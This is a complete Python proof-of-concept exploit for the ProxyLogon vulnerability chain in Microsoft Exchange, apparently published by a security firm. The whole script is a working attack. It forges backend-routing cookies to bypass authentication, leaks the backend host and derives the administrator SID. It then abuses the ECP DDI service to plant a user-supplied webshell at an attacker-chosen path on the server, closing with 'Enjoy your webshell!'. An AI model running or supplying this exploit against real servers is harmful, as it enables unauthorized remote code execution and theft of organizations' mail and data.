# Copyright 2021 Praetorian Security, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import requests import urllib import base64 import json import sys import re import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) from impacket import ntlm class Proxy(object): def __init__(self, frontend, backend, proxy=None): self.user_agent = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36' if proxy: self.proxies = {'https': proxy} else: self.proxies = {} self.session = requests.Session() self.frontend = frontend self.backend = backend def send(self, r): r.cookies = self.session.cookies r.cookies['X-BEResource'] = f'[:[@{self.backend}:444{r.url}#~1941962753' r.headers['User-Agent'] = self.user_agent r.url = f'{self.frontend}/ecp/favicon.ico' return self.session.send(r.prepare(), verify=False, proxies=self.proxies) if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='proxylogon proof-of-concept') parser.add_argument('--frontend', type=str, help='external url to exchange (e.g. https://exchange.example.org)') parser.add_argument('--email', type=str, help='valid email on the target machine') parser.add_argument('--sid', type=str, help='exchange admin sid') parser.add_argument('--webshell', type=str, help='webshell to upload') parser.add_argument('--path', type=str, help='desired path to webshell on host') parser.add_argument('--backend', type=str, help='[optional] backend host (leaked in X-CalculatedBETarget)') parser.add_argument('--proxy', type=str, help='[optional] proxy traffic (e.g. http://127.0.0.1:8080)') args = parser.parse_args() webshell = open(args.webshell).read() if '%' in webshell: raise Exception('payload may not contain %') if len(webshell) > 246: raise Exception('payload must be less than 246 bytes') if '\n' in webshell: print('Removing newlines from webshell') webshell = webshell.replace('\n', '') if not args.email and not args.sid: print('Must provide either an email or SID') sys.exit(1) if not args.backend: print('Retrieving backend via RPC') ntlmHash = str(base64.b64encode(ntlm.getNTLMSSPType1().getData()))[2:-1] r = requests.Request('RPC_IN_DATA', f'{args.frontend}/rpc/rpcproxy.dll') r.headers['Authorization'] = f'NTLM {ntlmHash}' sess = requests.Session() if args.proxy: proxies = {'https': args.proxy} else: proxies = {} r = sess.send(r.prepare(), verify=False, proxies=proxies) if r.status_code != 401: raise Exception(f'RPC NTLM Session Auth received {r.status_code}') serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', r.headers['WWW-Authenticate']).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = ntlm.NTLMAuthChallenge(serverChallenge) hashData = ntlm.AV_PAIRS(challenge['TargetInfoFields']) args.backend = str(hashData.fields[3][1], 'utf-16') print(f'Backend: {args.backend}') p = Proxy(args.frontend, args.backend, proxy=args.proxy) if args.email is not None: url = '/autodiscover/autodiscover.xml' r = requests.Request('POST', url) r.headers['Content-Type'] = 'text/xml' r.data = f'{args.email}http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a ' r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected autodiscover status {r.status_code}') legacyDn = re.search('(.*)', r.text).groups()[0] mailboxId = re.search('(.*)', r.text).groups()[0] url = f'/mapi/emsmdb/?mailboxId={mailboxId}' r = requests.Request('POST', url) r.headers['X-RequestType'] = 'Connect' r.headers['X-RequestId'] = '12345678-1234-1234-1234-1234567890ab' r.headers['X-ClientApplication'] = 'MapiHttpClient/15.2.464.5' r.headers['Content-Type'] = 'application/mapi-http' r.headers['Accept'] = '*/*' # esmdb message taken from packet captures and then modified to remove extra data by setting extra length to 0 mapiReqTemplate = '%s\x00\x00\x00\x00\x00\x9fN\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' r.data = mapiReqTemplate % legacyDn r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected mapi status {r.status_code}') sidMatch = re.search('with SID (S-1-5-[\d-]+)', r.text).groups()[0] print(f'Identified SID: {sidMatch}') adminSid = '-'.join(sidMatch.split('-')[:-1]) + '-500' print(f'Admin SID: {adminSid}') args.sid = adminSid print('Authenticating via proxylogon') url = '/ecp/proxyLogon.ecp' r = requests.Request('POST', url) r.headers['msExchLogonMailbox'] = args.sid r.data = f'{args.sid}' r = p.send(r) if r.status_code != 241: raise Exception(f'Unexpected proxylogon status {r.status_code}') csrf = r.cookies['msExchEcpCanary'] print('Looking up OAB virtual directory') params = { 'workflow': 'GetForSDO', 'schema': 'OABVirtualDirectory', 'msExchEcpCanary': csrf, } url = f'/ecp/DDI/DDIService.svc/GetObject?{urllib.parse.urlencode(params)}' r = requests.Request('POST', url) r.headers = { 'Content-Type': 'application/json', 'msExchLogonMailbox': args.sid, } r.data = '{}' r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected GetObject status {r.status_code}') directories = r.json().get('d', {}).get('Output', []) if not directories: raise Exception('Failed to find OAB directory') oab = directories[0] name = oab.get('Identity', {}).get('DisplayName', 'Unknown') print(f'OAB virtual directory: {name}') print('Injecting payload into OAB ExternalUrl') params = { 'schema': 'OABVirtualDirectory', 'msExchEcpCanary': csrf, } url = f'/ecp/DDI/DDIService.svc/SetObject?{urllib.parse.urlencode(params)}' r = requests.Request('POST', url) r.headers = { 'Content-Type': 'application/json', 'msExchLogonMailbox': args.sid, } r.data = json.dumps({ 'identity': oab.get('Identity'), 'properties': { 'Parameters': { '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 'ExternalUrl': f'http://o/#{webshell}', } } }) r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected SetObject status {r.status_code}') print('Resetting OAB virtual directory') params = { 'schema': 'ResetOABVirtualDirectory', 'msExchEcpCanary': csrf, } url = f'/ecp/DDI/DDIService.svc/SetObject?{urllib.parse.urlencode(params)}' r = requests.Request('POST', url) r.headers = { 'Content-Type': 'application/json', 'msExchLogonMailbox': args.sid, } r.data = json.dumps({ 'identity': oab.get('Identity'), 'properties': { 'Parameters': { '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', 'FilePathName': args.path, } } }) r = p.send(r) if r.status_code != 200: raise Exception(f'Unexpected SetObject status {r.status_code}') print(f'Enjoy your webshell!')